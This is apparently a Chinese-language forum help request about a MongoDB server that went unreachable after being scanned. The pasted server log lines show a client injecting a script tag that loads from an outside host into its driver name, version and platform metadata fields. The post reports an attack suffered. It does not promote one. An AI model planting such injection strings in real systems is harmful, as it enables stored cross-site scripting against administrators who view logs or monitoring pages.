mongo 数据库 有管理员密码和单一数据库密码,被扫了之后,数据库就掉了,链接不上。
看他还有 xss 的操作
{ driver: { name: "PyMongo|"><script src=https://mongo.xss.ht></script>", version: "3.11.0|"><script src=https://mongo.xss.ht></script>" }, os: { type: "Linux", name: "", architecture: "x86_64", version: "4.14.203-112.332.amzn2.x86_64" }, platform: "CPython 2.7.18.final.0|"><script src=https://mongo.xss.ht></script>" } 2020-11-28T02:33:44.039+0800 I NETWORK [conn1136] received client metadata from 13.115.249.26:50658 conn1136: { driver: { name: "PyMongo|"><script src=https://mongo.xss.ht></script>", version: "3.11.0|"><script src=https://mongo.xss.ht></script>" }, os: { type: "Linux", name: "", architecture: "x86_64", version: "4.14.203-112.332.amzn2.x86_64" }, platform: "CPython 2.7.18.final.0|"><script src=https://mongo.xss.ht></script>" }
再用 shell 链接 会报这个错误
Error: network error while attempting to run command 'isMaster' on host '127
查 google 是说链接数量过多,但是 mongo 的日志没有报链接数量过多